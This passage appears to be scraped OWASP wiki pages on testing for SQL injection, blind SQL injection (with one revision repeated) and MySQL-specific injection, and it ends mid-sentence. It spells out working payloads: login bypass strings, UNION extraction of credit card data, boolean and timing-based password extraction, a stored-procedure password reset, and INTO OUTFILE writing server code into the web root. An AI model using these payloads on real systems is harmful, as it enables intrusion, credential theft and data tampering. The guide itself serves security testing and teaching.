Also comments (--) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:
<pre>
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>
A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques.
In any case, it is very important to test *each field separately*: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

=== Standard SQL Injection Testing ===

Consider the following SQL query:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied.
The values of the input fields are generally obtained from the user through a web form.
Suppose we insert the following Username and Password values:

$username = 1' or '1' = '1
$password = 1' or '1' = '1

The query will be:

<nowiki>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'</nowiki>
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<nowiki>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </nowiki>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.''
Another example of query is the following:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function.
First of all, we resolve the problem of the parentheses.
That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to invalidate the second condition.
We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment.
Every DBMS has its own symbols of comment, however, a common symbol to the greater part of the database is /*. In Oracle the symbol is "--".
This said, the values that we'll use as Username and Password are:

$username = 1' or '1' = '1'))/*
$password = foo

In this way, we'll get the following query:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

The URL request will be:

<nowiki>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </nowiki>

Which returns a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user).
In order to go around this problem, it is enough to insert a SQL command that imposes the condition that the number of the returned tuple must be one. (One record returned)
In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the tuples that we expect to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

$username = 1' or '1' = '1')) LIMIT 1/*
$password = foo

In this way, we create a request like the follow:

<nowiki>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </nowiki>

=== Union Query SQL Injection Testing ===
Another test involves the use of the UNION operator. This operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.
We suppose for our examples that the query executed from the server is the following:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

We will set the following Id value:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable

We will have the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable

which will join the result of the original query with all the credit card users.
The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT.
Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.

=== Blind SQL Injection Testing ===
We have pointed out that there is another category of SQL injection, called [[Blind SQL Injection]], in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500).
 
By using the inference methods, it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. This method consists of carrying out a series of boolean queries to the server, observing the answers and finally deducing the meaning of such answers.
We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection.
This means that carrying out the following request:

<nowiki>http://www.example.com/index.php?id=1' </nowiki>

we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

which is exploitable through the methods seen previously.
What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': it returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the length in characters of the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value.
The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found.
As an example, we will use the following value for ''Id'':

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

that creates the following query (from now on, we will call it "inferential query"):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function.
The problem is to understand in which way we can distinguish tests returning a true value from those that return false.
To do this, we create a query that always returns false.
This is possible by using the following value for ''Id'':

$Id=1' AND '1' = '2

by which will create the following query:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

The obtained response from the server (that is HTML code) will be the false value for our tests.
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before.
Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure.
A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function.
When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedue (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

$Id=1' AND LENGTH(username)=N AND '1' = '1

Where N is the number of characters that we have analyzed up to now (not counting the null value).
The query will be:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

The query returns either true or false. If we obtain true, then we have completed inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.
A simple tool which performs this task, via GET requests on the MySql DB, is SqlDumper, which is shown below.

[[Image:sqldumper.jpg]]

=== Stored Procedure Injection ===
Question: How can the risk of SQL injection be eliminated? 
Answer: Stored procedures. 
I have seen this answer too many times without qualifications. Merely the use of stored procedures does not assist in the mitigation of SQL injection. If not handled properly, dynamic SQL within stored procedures can be just as vulnerable to SQL injection as dynamic SQL within a web page. 
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure. 

Black box testing uses SQL injection to compromise the system.
 
Consider the following SQL Server Stored Procedure: 
Create procedure user_login @username varchar(20), @passwd varchar(20) As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go
User input: 
anyusername or 1=1'
anypassword
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters. 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.
 
Consider the following SQL Server Stored Procedure: 
Create procedure get_report @columnamelist varchar(7900) As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go
User input: 
1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.
 

== Related Articles ==

* [[Top 10 2007-Injection Flaws]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:

* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

== References ==

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.nextgenss.com/papers/advanced_sql_injection.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.nextgenss.com/research/papers/sqlinference.pdf
* Imperva: "Blind SQL Injection" - http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Tools''' 
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz SqlDumper] 
* http://sqlsus.sourceforge.net
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

Blind SQL Injection

2012-04-29T14:25:13Z

Shady:

{{Template:Attack}}
[[Category:OWASP ASDR Project]]
[[Category:Security Focus Area]]
__NOTOC__
 

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Overview==
When an attacker executes SQL Injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. Blind SQL injection is identical to normal [[SQL Injection]] except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.

==Threat Modeling==
Same as for [[SQL Injection]]

==Related Security Activities==

===How to Avoid SQL Injection Vulnerabilities===

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.
 See the OWASP [[SQL Injection Prevention Cheat Sheet]].

===How to Avoid SQL Injection Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.

===How to Test for SQL Injection Vulnerabilities===

See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.

==Description==
TBD

==Risk Factors==
Same as for [[SQL Injection]]

==Examples ==
An attacker may verify whether a sent request returned True or False in a few ways:

===(in)visible content===
Having a simple page, which displays article with given ID as the parameter, the attacker may perform a couple of simple tests if a page is vulnerable to SQL Injection attack.

Example URL:
<pre>
http://newspaper.com/items.php?id=2
</pre>
sends the following query to the database:
<pre>
SELECT title, description, body FROM items WHERE ID = 2
</prE>
The attacker may try to inject any (even invalid) query, what should cause the query to return no results:
<pre>
http://newspaper.com/items.php?id=2 and 1=2
</pre>
Now the SQL query should looks like this:
<pre>
SELECT title, description, body FROM items WHERE ID = 2 and 1=2
</pre>
Which means that the query is not going to return anything.

If the web application is vulnerable to SQL Injection, then it probably will not return anything. To make sure, the attacker will certainly inject a valid query:
<pre>
http://newspaper.com/items.php?id=2 and 1=1
</pre>
If the content of the page is the same, then the attacker is able to distinguish when the query is True or False.

What next? The only limitations are privileges set up by the database administrator, different SQL dialects and finally the attacker's imagination.

===RDBMS fingerprinting===

If the attacker is able to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole attack much easier to him. One of the most popular methods to do this is to call functions which will return the current date. MySQL, MS SQL or Oracle have different functions for that, respectively ''now()'', ''getdate()'', and ''sysdate()''.

===Timing Attack===

A Timing Attack depends upon injecting the following MySQL query:
<pre>
SELECT IF(expression, true, false)
</pre>
Using some time-taking operation e.g. BENCHMARK(), will delay server
responses if the expression is True.

<pre>BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))</pre> - will execute 5000000 times the ENCODE function.

Depending on the database server performence and its load, it should
take just a moment to finish this operation. The important thing is,
from the attacker's point of view, to specify high number of BENCHMARK()
function repetitons, which should affect the server
response time in a noticeable way.

Example combination of both queries:
<pre>
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;
</pre>
If the server response was quite long we may expect that the first user password character with user_id = 1 is character '2'.
<pre>
(CHAR(50) == '2')
</pre>
Using this method for the rest of characters, it's possible to get to know entire password stored in the database. This method works even when the attacker injects the SQL queries and the content of the vulnerable page doesn't change.

Obviously, in this example the names of the tables and the number of columns was specified. However, it's possible to guess them or check with a trial and error method.

Other databases than MySQL also have implemented functions which allow them to use timing attacks:
* MS SQL 'WAIT FOR DELAY '0:0:10''
* PostgreSQL - pg_sleep()

Conducting Blind_SQL_Injection attacks manually is very time consuming, but there are a lot of tools which automate this process. One of them is SQLMap (http://sqlmap.sourceforge.net/) partly developed within OWASP grant program. On the other hand, tools of this kind are very sensitive to even small deviations from the rule. This includes:
* scanning othe WWW cluster, where clocks are not ideally synchronized,
* WWW services where argument acquiring method was changed, e.g. from /index.php?ID=10 to /ID,10

==Related [[Threat Agents]]==
Same as for [[SQL Injection]]

==Related [[Attacks]]==
* [[Blind_XPath_Injection]]
* [[SQL_Injection]]
* [[XPATH_Injection]]
* [[LDAP_injection]]
* [[Server-Side_Includes_%28SSI%29_Injection]]

==Related [[Vulnerabilities]]==
* [[Injection_problem]]

==Related [[Controls]]==
* [[:Category:Input Validation]]

==References==
* http://www.cgisecurity.com/questions/blindsql.shtml
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
* http://www.securitydocs.com/library/2651
* http://seclists.org/bugtraq/2005/Feb/0288.html
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/

'''Online Resources'''
* [http://www.nccgroup.com/Libraries/Document_Downloads/more__Advanced_SQL_Injection.sflb.ashx more Advanced SQL Injection] - by NGS
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]
* Kevin Spett from SPI Dynamics: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
* http://www.imperva.com/resources/whitepapers.asp?t=ADC
* [https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt Advanced SQL Injection]

'''Tools'''
* [http://www.sqlpowerinjector.com/ SQL Power Injector]
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl
* [http://sqlmap.sourceforge.net sqlmap, automatic SQL injection tool] in Python
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

[[Category:Injection]]
[[Category: Attack]]

Blind SQL Injection

2012-04-29T14:12:23Z

Shady:

{{Template:Attack}}
[[Category:OWASP ASDR Project]]
[[Category:Security Focus Area]]
__NOTOC__
 

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Overview==
When an attacker executes SQL Injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. Blind SQL injection is identical to normal [[SQL Injection]] except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.

==Threat Modeling==
Same as for [[SQL Injection]]

==Related Security Activities==

===How to Avoid SQL Injection Vulnerabilities===

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.
 See the OWASP [[SQL Injection Prevention Cheat Sheet]].

===How to Avoid SQL Injection Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.

===How to Test for SQL Injection Vulnerabilities===

See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.

==Description==
TBD

==Risk Factors==
Same as for [[SQL Injection]]

==Examples ==
An attacker may verify whether a sent request returned True or False in a few ways:

===(in)visible content===
Having a simple page, which displays article with given ID as the parameter, the attacker may perform a couple of simple tests if a page is vulnerable to SQL Injection attack.

Example URL:
<pre>
http://newspaper.com/items.php?id=2
</pre>
sends the following query to the database:
<pre>
SELECT title, description, body FROM items WHERE ID = 2
</prE>
The attacker may try to inject any (even invalid) query, what should cause the query to return no results:
<pre>
http://newspaper.com/items.php?id=2 and 1=2
</pre>
Now the SQL query should looks like this:
<pre>
SELECT title, description, body FROM items WHERE ID = 2 and 1=2
</pre>
Which means that the query is not going to return anything.

If the web application is vulnerable to SQL Injection, then it probably will not return anything. To make sure, the attacker will certainly inject a valid query:
<pre>
http://newspaper.com/items.php?id=2 and 1=1
</pre>
If the content of the page is the same, then the attacker is able to distinguish when the query is True or False.

What next? The only limitations are privileges set up by the database administrator, different SQL dialects and finally the attacker's imagination.

===RDBMS fingerprinting===

If the attacker is able to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole attack much easier to him. One of the most popular methods to do this is to call functions which will return the current date. MySQL, MS SQL or Oracle have different functions for that, respectively ''now()'', ''getdate()'', and ''sysdate()''.

===Timing Attack===

A Timing Attack depends upon injecting the following MySQL query:
<pre>
SELECT IF(expression, true, false)
</pre>
Using some time-taking operation e.g. BENCHMARK(), will delay server
responses if the expression is True.

<pre>BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))</pre> - will execute 5000000 times the ENCODE function.

Depending on the database server performence and its load, it should
take just a moment to finish this operation. The important thing is,
from the attacker's point of view, to specify high number of BENCHMARK()
function repetitons, which should affect the server
response time in a noticeable way.

Example combination of both queries:
<pre>
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;
</pre>
If the server response was quite long we may expect that the first user password character with user_id = 1 is character '2'.
<pre>
(CHAR(50) == '2')
</pre>
Using this method for the rest of characters, it's possible to get to know entire password stored in the database. This method works even when the attacker injects the SQL queries and the content of the vulnerable page doesn't change.

Obviously, in this example the names of the tables and the number of columns was specified. However, it's possible to guess them or check with a trial and error method.

Other databases than MySQL also have implemented functions which allow them to use timing attacks:
* MS SQL 'WAIT FOR DELAY '0:0:10''
* PostgreSQL - pg_sleep()

Conducting Blind_SQL_Injection attacks manually is very time consuming, but there are a lot of tools which automate this process. One of them is SQLMap (http://sqlmap.sourceforge.net/) partly developed within OWASP grant program. On the other hand, tools of this kind are very sensitive to even small deviations from the rule. This includes:
* scanning othe WWW cluster, where clocks are not ideally synchronized,
* WWW services where argument acquiring method was changed, e.g. from /index.php?ID=10 to /ID,10

==Related [[Threat Agents]]==
Same as for [[SQL Injection]]

==Related [[Attacks]]==
* [[Blind_XPath_Injection]]
* [[SQL_Injection]]
* [[XPATH_Injection]]
* [[LDAP_injection]]
* [[Server-Side_Includes_%28SSI%29_Injection]]

==Related [[Vulnerabilities]]==
* [[Injection_problem]]

==Related [[Controls]]==
* [[:Category:Input Validation]]

==References==
* http://www.cgisecurity.com/questions/blindsql.shtml
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
* http://www.securitydocs.com/library/2651
* http://seclists.org/bugtraq/2005/Feb/0288.html
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/

'''Online Resources'''
* [http://www.nccgroup.com/Libraries/Document_Downloads/more__Advanced_SQL_Injection.sflb.ashx more Advanced SQL Injection] - by NGS
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]
* Kevin Spett from SPI Dynamics: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
* http://www.imperva.com/resources/whitepapers.asp?t=ADC
* [https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt Advanced SQL Injection]

'''Tools'''
* [http://www.sqlpowerinjector.com/ SQL Power Injector]
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl
* [http://sqlmap.sourceforge.net sqlmap, automatic SQL injection tool] in Python
* [http://www.514.es/2006/12/inyeccion_de_codigo_bsqlbf12th.html bsqlbf, a blind SQL injection tool] in Perl

[[Category:Injection]]
[[Category: Attack]]

Testing for MySQL

2012-04-29T13:56:33Z

Shady:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v3}}

== Short Description of the Issue ==
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

''MySQL server'' has a few particularities so that some exploits need to be
specially customized for this application. That's the subject of this section.

== Black Box testing and example ==

=== How to Test ===
When an SQL injection vulnerability is found in an application backed by a MySQL database,
there are a number of attacks that could be performed depending
on the MySQL version and user privileges on DBMS.

MySQL comes with at least four versions which are used in production worldwide.
3.23.x, 4.0.x, 4.1.x and 5.0.x.
Every version has a set of features proportional to version number.

* From Version 4.0: UNION
* From Version 4.1: Subqueries
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA
* From Version 5.0.2: Triggers

It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.

From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection (OWASP-DV-005)|Testing for SQL Injection]].

<nowiki>http://www.example.com/page.php?id=2</nowiki>

=== The Single Quotes Problem ===
Before taking advantage of MySQL features,
it has to be taken in consideration how strings could be represented
in a statement, as often web applications escape single quotes.

MySQL quote escaping is the following: 
''' <nowiki>'A string with \'quotes\''</nowiki> '''

That is, MySQL interprets escaped apostrophes (\') as characters and not as
metacharacters.

So if the application, to work properly, needs to use constant strings,
two cases are to be differentiated:
# Web app escapes single quotes (' => \')
# Web app does not escape single quotes (' => ')

Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.

Let's suppose we want to know the value of a field named 'password' in a record,
with a condition like the following:
password like 'A%'

# The ASCII values in a concatenated hex: 
#: password LIKE 0x4125
# The char() function:
#: password LIKE CHAR(65,37)

=== Multiple mixed queries: ===

MySQL library connectors do not support multiple queries separated
by '''<nowiki>';'</nowiki>''' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.

For example the following injection will result in an error:

1 ; update tablename set code='javascript code' where 1 --

=== Information gathering ===

==== Fingerprinting MySQL ====

Of course, the first thing to know is if there's MySQL DBMS as a backend.

MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL
dialect. When a comment block ''('/**/')'' contains an exclamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS
as explained in [http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual].

Example:
1 /*! and 1=0 */

'''Result Expected:''' 
''If MySQL is present, the clause inside the comment block will be interpreted.''

==== Version ====

There are three ways to gain this information:
# By using the global variable @@version
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]
# By using comment fingerprinting with a version number /*!40110 and 1=0*/
#: which means
<nowiki>if(version >= 4.1.10)
add 'and 1=0' to the query.</nowiki>

These are equivalent as the result is the same.

In band injection:

1 AND 1=0 UNION SELECT @@version /*

Inferential injection:

1 AND @@version like '4.0%'

'''Result Expected:''' 
''A string like this: '''5.0.22-log''' ''

==== Login User ====

There are two kinds of users MySQL Server relies upon.
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.

There is some difference between 1 and 2.

The main one is that an anonymous user could connect (if allowed)
with any name, but the MySQL internal user is an empty name (<nowiki>''</nowiki>).

Another difference is that a stored procedure or a stored function
are executed as the creator user, if not declared elsewhere. This
can be known by using '''CURRENT_USER'''.

In band injection:

1 AND 1=0 UNION SELECT USER()

Inferential injection:

1 AND USER() like 'root%'

'''Result Expected:''' 
''A string like this: '''user@hostname''' ''

==== Database name in use ====

There is the native function DATABASE()

In band injection:

1 AND 1=0 UNION SELECT DATABASE()

Inferential injection:

1 AND DATABASE() like 'db%'

'''Result Expected:''' 
''A string like this: '''dbname''' ''

==== INFORMATION_SCHEMA ====
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.
It allows us to get all informations about databases, tables, and columns,
as well as procedures and functions.

Here is a summary of some interesting Views.
{| border=1
|| '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''
|-
|| ..[skipped]..|| ..[skipped]..
|-
|| SCHEMATA || All databases the user has (at least) SELECT_priv
|-
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB
|-
|| TABLES || All tables the user has (at least) SELECT_priv
|-
|| TABLE_PRIVILEGES || The privileges the user has for each table
|-
|| COLUMNS || All columns the user has (at least) SELECT_priv
|-
|| COLUMN_PRIVILEGES || The privileges the user has for each column
|-
|| VIEWS || All columns the user has (at least) SELECT_priv
|-
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)
|-
|| TRIGGERS || Triggers (needs INSERT_priv)
|-
|| USER_PRIVILEGES || Privileges connected User has
|-
|}
All of this information could be extracted by using known techniques as
described in SQL Injection section.

=== Attack vectors ===

==== Write in a File ====

If the connected user has '''FILE''' privileges and single quotes are not escaped,
the 'into outfile' clause can be used to export query results in a file.

Select * from table into outfile '/tmp/file'

Note: there is no way to bypass single quotes surrounding a filename.
So if there's some sanitization on single quotes like escape (\') there will
be no way to use the 'into outfile' clause.

This kind of attack could be used as an out-of-band technique to gain information
about the results of a query or to write a file which could be executed inside the
web server directory.

Example:

<nowiki>1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//' LINES TERMINATED BY '\n<%jsp code here%>';</nowiki>

'''Result Expected:''' 
'' Results are stored in a file with rw-rw-rw privileges owned by
MySQL user and group.

Where ''/var/www/root/test.jsp'' will contain:
<nowiki>//field values//
<%jsp code here%></nowiki>

==== Read from a File ====

Load_file is a native function that can read a file when allowed by
filesystem permissions.

If a connected user has '''FILE''' privileges, it could be used to get the files' content.

Single quotes escape sanitization can by bypassed by using previously described
techniques.

load_file('filename')

'''Result Expected:''' 

''The whole file will be available for exporting by using standard techniques.''

=== Standard SQL Injection Attack ===

In a standard SQL injection you can have results displayed directly
in a page as normal output or as a MySQL error.
By using already mentioned SQL Injection attacks and the already described
MySQL features, direct SQL injection could be easily accomplished at a level
